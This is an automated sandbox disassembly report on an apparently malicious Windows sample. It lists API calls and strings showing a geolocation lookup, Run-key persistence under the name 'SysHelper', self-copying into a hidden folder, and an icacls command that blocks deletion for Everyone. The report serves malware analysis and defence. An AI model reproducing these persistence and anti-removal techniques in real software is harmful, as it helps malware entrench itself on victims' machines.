Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: $"country_code":"$$$($Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-933853286
Opcode ID: fff60999badc4ee989bfac4a0919f21faf54fcb9b3101ce48ebeb039ee96518d
Instruction ID: 40f1c53dd53f39923b09cf9bc85b344aa04a6d734a8ad59cb208746e9bce0a51
Opcode Fuzzy Hash: fff60999badc4ee989bfac4a0919f21faf54fcb9b3101ce48ebeb039ee96518d
Instruction Fuzzy Hash: 3B918C71D40208DAEF21EFA4DC49BEEBBB5AF05704F204158E115B7282DBBA5E49CB61

Function 00791CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,0084AC68,000000FF), ref: 00791D12
_memset.LIBCMT ref: 00791D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00791D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0084AC68,000000FF), ref: 00791D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00791DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00791E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00791E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00791EA5
GetCommandLineW.KERNEL32 ref: 00791EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00791EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00791ECE
PathFindFileNameW.SHLWAPI(?), ref: 00791EDB
UuidCreate.RPCRT4(?), ref: 00791EFC
UuidToStringW.RPCRT4(?,?), ref: 00791F14
RpcStringFreeW.RPCRT4(00000000), ref: 00791F64
PathAppendW.SHLWAPI(?,?), ref: 00791F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00791F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0079202D
DeleteFileW.KERNEL32(?), ref: 00792036
CopyFileW.KERNEL32(?,?,00000000), ref: 0079204C
RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0079206E
_memset.LIBCMT ref: 00792090
lstrcpyW.KERNEL32(?,008802FC), ref: 007920AA
lstrcatW.KERNEL32(?,?), ref: 007920C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 007920CE
lstrlenW.KERNEL32(?), ref: 007920D7
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 007920F3
RegCloseKey.ADVAPI32(00000000), ref: 007920FC
_memset.LIBCMT ref: 00792120
SetLastError.KERNEL32(00000000), ref: 00792146
lstrcpyW.KERNEL32(?,icacls "), ref: 00792158
lstrcatW.KERNEL32(?,?), ref: 0079216D

Strings

SysHelper, xrefs: 00791D5B, 007920EB
Shell32.dll, xrefs: 00791E94
" --AutoStart, xrefs: 00791DD1
" --AutoStart, xrefs: 007920C2
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00791D06, 00792064
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0079216F
SHGetFolderPathW, xrefs: 00791E9F
icacls ", xrefs: 0079214C
D, xrefs: 00792128

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: 8fc83c1d010a3825d806c0d8b8f37d8d3990ac1bae4aeb8b3d07ff8ee2fb1a43
Instruction ID: 6163bc7f964d10f2fe622fd439723490ff16f713b2fbf4b7a69847c1c6636d92
Opcode Fuzzy Hash: 8fc83c1d010a3825d806c0d8b8f37d8d3990ac1bae4aeb8b3d07ff8ee2fb1a43
Instruction Fuzzy Hash: 88E18C75D4121AEBDF24DBA0DD49FEEB7B8BF04304F1040AAE505E6191EB78AA85CF50

Function 007A3576 Relevance: 15.3, APIs: 10, Instructions: 258
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 007A35B1

Part of subcall function 007A5208: __getptd_noexit.LIBCMT ref: 007A5208

__gmtime64_s.LIBCMT ref: 007A364A
__gmtime64_s.LIBCMT ref: 007A3680
__gmtime64_s.LIBCMT ref: 007A369D
__allrem.LIBCMT ref: 007A36F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 007A370F
__allrem.LIBCMT ref: 007A3726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 007A3744
__allrem.LIBCMT ref: 007A375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 007A3779

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit_memset
String ID:
API String ID: 1503770280-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 0616190dc7a6c00dbd4e88c81a70a17bd699c6c83a20c35f1926a450dca24f72
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: BA71C7F1E00716EBD7249E79CC85B9AB3A4AF86324F144339F514D7681E778DE508B90

Function 007A7B0B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 7
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 007A7B11

Part of subcall function 007A7AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,i;z,007A7B16,i;z,?,007A8BCA,000000FF,0000001E,00887BD0,00000008,007A8B0E,i;z,i;z), ref: 007A7AE6
Part of subcall function 007A7AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 007A7AF8

ExitProcess.KERNEL32 ref: 007A7B1A

Strings

i;z, xrefs: 007A7B0E

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID: i;z
API String ID: 2427264223-874864295
Opcode ID: a7b69ab8bdc2edc9d33bc6dc77dc437b68e8722e44ee8602fea12df1fe3c57a4
Instruction ID: 17df9c42b8688aa0583c470ed5043798eaa033e1395a30318c7fdf4f93d06514
Opcode Fuzzy Hash: a7b69ab8bdc2edc9d33bc6dc77dc437b68e8722e44ee8602fea12df1fe3c57a4
Instruction Fuzzy Hash: 0DB09230006108BBCB092F55DC0A85D7F69EB42390B008020F90408032EBB2AA91DAC0

Function 007A3B4C Relevance: 4.5, APIs: 3, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 007A3B64

Part of subcall function 007A0C62: __FF_MSGBANNER.LIBCMT ref: 007A0C79
Part of subcall function 007A0C62: __NMSG_WRITE.LIBCMT ref: 007A0C80
Part of subcall function 007A0C62: RtlAllocateHeap.NTDLL(005C0000,00000000,00000001,?,?,?,?,007A3B69,?), ref: 007A0CA5

std::exception::exception.LIBCMT ref: 007A3B82
__CxxThrowException@8.LIBCMT ref: 007A3B97

Part of subcall function 007B0ECA: RaiseException.KERNEL32(?,?,?,0088793C,?,?,?,?,?,007A3B9C,?,0088793C,?,00000001), ref: 007B0F1F

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID:
API String ID: 3074076210-0
Opcode ID: 5e12613cb83fb730c5d2e3d7c440eb75d74a2a8281f035f4e51f0d0c8bbfc2c2
Instruction ID: 927427aa09ecbdb1031e1fc592c3b4f5b3ca84be5da6fbdfb0172a3ec187b04c
Opcode Fuzzy Hash: 5e12613cb83fb730c5d2e3d7c440eb75d74a2a8281f035f4e51f0d0c8bbfc2c2
Instruction Fuzzy Hash: 4BF0F47150020DA6CB00BEE8DC4AEDEB7A8EF42310F10466AFA14D2182DFBC9A4486E1

Function 00793A90 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00793B0A

Part of subcall function 007A3B4C: _malloc.LIBCMT ref: 007A3B64

Strings

vector<T> too long, xrefs: 00793B00

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc
String ID: vector<T> too long
API String ID: 657562460-3788999226
Opcode ID: f79080b38f89ded18d201c90c7707aedcd286558c610156e46ace1307e4ac4e7
Instruction ID: ab16497de200d349a91b4de0f1fcaed0157c445f0a723445bbb3e54b8eb8507c
Opcode Fuzzy Hash: f79080b38f89ded18d201c90c7707aedcd286558c610156e46ace1307e4ac4e7
Instruction Fuzzy Hash: F80124B1100705ABD7208F9CC091B86F7E9EF80724F20853EEA6587340E7B5E904C780

Function 007AFB64 Relevance: 3.0, APIs: 2, Instructions: 17
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 007AFB7B

Part of subcall function 007A8AF7: __mtinitlocknum.LIBCMT ref: 007A8B09
Part of subcall function 007A8AF7: __amsg_exit.LIBCMT ref: 007A8B15
Part of subcall function 007A8AF7: EnterCriticalSection.KERNEL32(i;z,?,007A50D7,0000000D), ref: 007A8B22

__tzset_nolock.LIBCMT ref: 007AFB8E

Part of subcall function 007AFE47: __lock.LIBCMT ref: 007AFE6C
Part of subcall function 007AFE47: ____lc_codepage_func.LIBCMT ref: 007AFEB3
Part of subcall function 007AFE47: __getenv_helper_nolock.LIBCMT ref: 007AFED4
Part of subcall function 007AFE47: _free.LIBCMT ref: 007AFF07
Part of subcall function 007AFE47: _strlen.LIBCMT ref: 007AFF0E
Part of subcall function 007AFE47: __malloc_crt.LIBCMT ref: 007AFF15

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 1282695788-0
Opcode ID: 69230525ee65ae80989fdb57be3f99ffc759a949b5dbeea9fac83dc020332c96
Instruction ID: 16b37fd91a0aaa5cabd54c6a29c80de8019d246ba5c5fbef3df21c5758ba657b
Opcode Fuzzy Hash: 69230525ee65ae80989fdb57be3f99ffc759a949b5dbeea9fac83dc020332c96
Instruction Fuzzy Hash: FDE0ECB5945645DAEB60F7F0D91E7187170BB82366F689326F420511D29FBE0584CA33

Function 007A3B43 Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 007A3B64

Part of subcall function 007A0C62: __FF_MSGBANNER.LIBCMT ref: 007A0C79
Part of subcall function 007A0C62: __NMSG_WRITE.LIBCMT ref: 007A0C80
Part of subcall function 007A0C62: RtlAllocateHeap.NTDLL(005C0000,00000000,00000001,?,?,?,?,007A3B69,?), ref: 007A0CA5

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 010dcc57d92fa0cd9651ae2744f853fc3b928deaf982816dbf39e73e4abed871
Instruction ID: 8162d85cb748650dd060681a142d49a940b071be5de06b1d5f5507772a76362b
Opcode Fuzzy Hash: 010dcc57d92fa0cd9651ae2744f853fc3b928deaf982816dbf39e73e4abed871
Instruction Fuzzy Hash: 1FC08C69A4090AC65E31AE2C9A5787676579B83360B4407CAFC1C49873EF3ACA3495B3

Function 007A7F3D Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 007A7F47

Part of subcall function 007A7E0E: __lock.LIBCMT ref: 007A7E1C
Part of subcall function 007A7E0E: DecodePointer.KERNEL32(00887B08,0000001C,007A7CFB,007A3B69,00000001,00000000,i;z,007A7C49,000000FF,?,007A8B1A,00000011,i;z,?,007A50D7,0000000D), ref: 007A7E5B
Part of subcall function 007A7E0E: DecodePointer.KERNEL32(?,007A8B1A,00000011,i;z,?,007A50D7,0000000D), ref: 007A7E6C
Part of subcall function 007A7E0E: EncodePointer.KERNEL32(00000000,?,007A8B1A,00000011,i;z,?,007A50D7,0000000D), ref: 007A7E85
Part of subcall function 007A7E0E: DecodePointer.KERNEL32(-00000004,?,007A8B1A,00000011,i;z,?,007A50D7,0000000D), ref: 007A7E95
Part of subcall function 007A7E0E: EncodePointer.KERNEL32(00000000,?,007A8B1A,00000011,i;z,?,007A50D7,0000000D), ref: 007A7E9B
Part of subcall function 007A7E0E: DecodePointer.KERNEL32(?,007A8B1A,00000011,i;z,?,007A50D7,0000000D), ref: 007A7EB1
Part of subcall function 007A7E0E: DecodePointer.KERNEL32(?,007A8B1A,00000011,i;z,?,007A50D7,0000000D), ref: 007A7EBC

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode$__lock_doexit
String ID:
API String ID: 2158581194-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: 0ab9c007bc1772c63d9a87c57d777ec34e1c9092f10b18b6f1ac05eaaf627034
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: 10B012719C830C73DA113641FC03F053B0C4781B50F200070FA0C1C1E1A593B96180C9

Function 00792900 Relevance: 1.3, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000010,-00000400,-00000400), ref: 00792966

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide
String ID:
API String ID: 626452242-0
Opcode ID: 469613520bde391d476939f248a73be08f1e292dd89d4c874ccacfbb76f45f8d
Instruction ID: f68ab6ae2464a7864bbe66f12c05223bcb2cb3151dc867d843b04ece4a7dc186
Opcode Fuzzy Hash: 469613520bde391d476939f248a73be08f1e292dd89d4c874ccacfbb76f45f8d
Instruction Fuzzy Hash: F711DF31900219EBDF00DF58DC45B9FBBA8FF05314F004229F829A7281C77A9A168BD2

Non-executed Functions

Function 00801920 Relevance: 121.3, APIs: 41, Strings: 28, Instructions: 587libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(00000094), ref: 00801983
LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00801994
LoadLibraryA.KERNEL32(KERNEL32.DLL), ref: 008019A1
LoadLibraryA.KERNEL32(NETAPI32.DLL), ref: 008019AE
GetProcAddress.KERNEL32(00000000,NetStatisticsGet), ref: 008019E8
GetProcAddress.KERNEL32(?,NetApiBufferFree), ref: 008019FB
FreeLibrary.KERNEL32(?), ref: 00801AC5
GetProcAddress.KERNEL32(?,CryptAcquireContextW), ref: 00801ADB
GetProcAddress.KERNEL32(?,CryptGenRandom), ref: 00801AEE
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00801B01
FreeLibrary.KERNEL32(?), ref: 00801C15
LoadLibraryA.KERNEL32(USER32.DLL), ref: 00801C36
GetProcAddress.KERNEL32(00000000,GetForegroundWindow), ref: 00801C50
GetProcAddress.KERNEL32(?,GetCursorInfo), ref: 00801C63
GetProcAddress.KERNEL32(?,GetQueueStatus), ref: 00801C76
FreeLibrary.KERNEL32(?), ref: 00801D45
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00801D73
GetProcAddress.KERNEL32(?,CloseToolhelp32Snapshot), ref: 00801D86
GetProcAddress.KERNEL32(?,Heap32First), ref: 00801D99
GetProcAddress.KERNEL32(?,Heap32Next), ref: 00801DAC
GetProcAddress.KERNEL32(?,Heap32ListFirst), ref: 00801DBF
GetProcAddress.KERNEL32(?,Heap32ListNext), ref: 00801DD2
GetProcAddress.KERNEL32(?,Process32First), ref: 00801DE5
GetProcAddress.KERNEL32(?,Process32Next), ref: 00801DF8
GetProcAddress.KERNEL32(?,Thread32First), ref: 00801E0B
GetProcAddress.KERNEL32(?,Thread32Next), ref: 00801E1E
GetProcAddress.KERNEL32(?,Module32First), ref: 00801E31
GetProcAddress.KERNEL32(?,Module32Next), ref: 00801E44
GetTickCount.KERNEL32 ref: 00801F03
GetTickCount.KERNEL32 ref: 00801FF1
GetTickCount.KERNEL32 ref: 00802066
GetTickCount.KERNEL32 ref: 00802095
GetTickCount.KERNEL32 ref: 008020FB
GetTickCount.KERNEL32 ref: 00802118
GetTickCount.KERNEL32 ref: 00802187
GetTickCount.KERNEL32 ref: 008021A4

Strings

Heap32ListFirst, xrefs: 00801DB4
Heap32ListNext, xrefs: 00801DC7
USER32.DLL, xrefs: 00801C31
CryptAcquireContextW, xrefs: 00801AD5
LanmanServer, xrefs: 00801A74
Process32First, xrefs: 00801DDA
NETAPI32.DLL, xrefs: 008019A9
$, xrefs: 00801F7E
CryptGenRandom, xrefs: 00801AE3
CryptReleaseContext, xrefs: 00801AF6
NetStatisticsGet, xrefs: 008019E2
KERNEL32.DLL, xrefs: 0080199C
Module32First, xrefs: 00801E26
GetForegroundWindow, xrefs: 00801C4A
Heap32Next, xrefs: 00801DA1
Heap32First, xrefs: 00801D8E
Thread32Next, xrefs: 00801E13
CloseToolhelp32Snapshot, xrefs: 00801D7B
Process32Next, xrefs: 00801DED
CreateToolhelp32Snapshot, xrefs: 00801D67
NetApiBufferFree, xrefs: 008019F0
LanmanWorkstation, xrefs: 00801A26
ADVAPI32.DLL, xrefs: 00801989
Thread32First, xrefs: 00801E00
Module32Next, xrefs: 00801E39
GetCursorInfo, xrefs: 00801C58
Intel Hardware Cryptographic Service Provider, xrefs: 00801B9C
GetQueueStatus, xrefs: 00801C6B

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$Library$Load$Free$Version
String ID: $$ADVAPI32.DLL$CloseToolhelp32Snapshot$CreateToolhelp32Snapshot$CryptAcquireContextW$CryptGenRandom$CryptReleaseContext$GetCursorInfo$GetForegroundWindow$GetQueueStatus$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Intel Hardware Cryptographic Service Provider$KERNEL32.DLL$LanmanServer$LanmanWorkstation$Module32First$Module32Next$NETAPI32.DLL$NetApiBufferFree$NetStatisticsGet$Process32First$Process32Next$Thread32First$Thread32Next$USER32.DLL
API String ID: 842291066-1723836103
Opcode ID: b2470b3fdcb7d4bd9bb92f11bcb4411bc04c30e2d6e097cad7556e901ccd4366
Instruction ID: 74a9e59c32e4d59d25b3743ffec80e7c38f68a224f196e50975aee5d8fd83d21
Opcode Fuzzy Hash: b2470b3fdcb7d4bd9bb92f11bcb4411bc04c30e2d6e097cad7556e901ccd4366
Instruction Fuzzy Hash: EA3270B0E006299BEF619F64CC49B9EB6B9FF45704F0041EAE60CE6191EB748E90CF55

Function 0079E690 Relevance: 110.9, APIs: 54, Strings: 9, Instructions: 696stringnetworkfileCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(?,?,?,?,?,0084B3EC,000000FF), ref: 0079E6C0

Part of subcall function 0078C6A0: RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,?), ref: 0078C6C2
Part of subcall function 0078C6A0: RegQueryValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,?), ref: 0078C6F3
Part of subcall function 0078C6A0: RegCloseKey.ADVAPI32(00000000), ref: 0078C700

_memset.LIBCMT ref: 0079E707

Part of subcall function 0078C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0078C51B

InternetOpenW.WININET ref: 0079E743
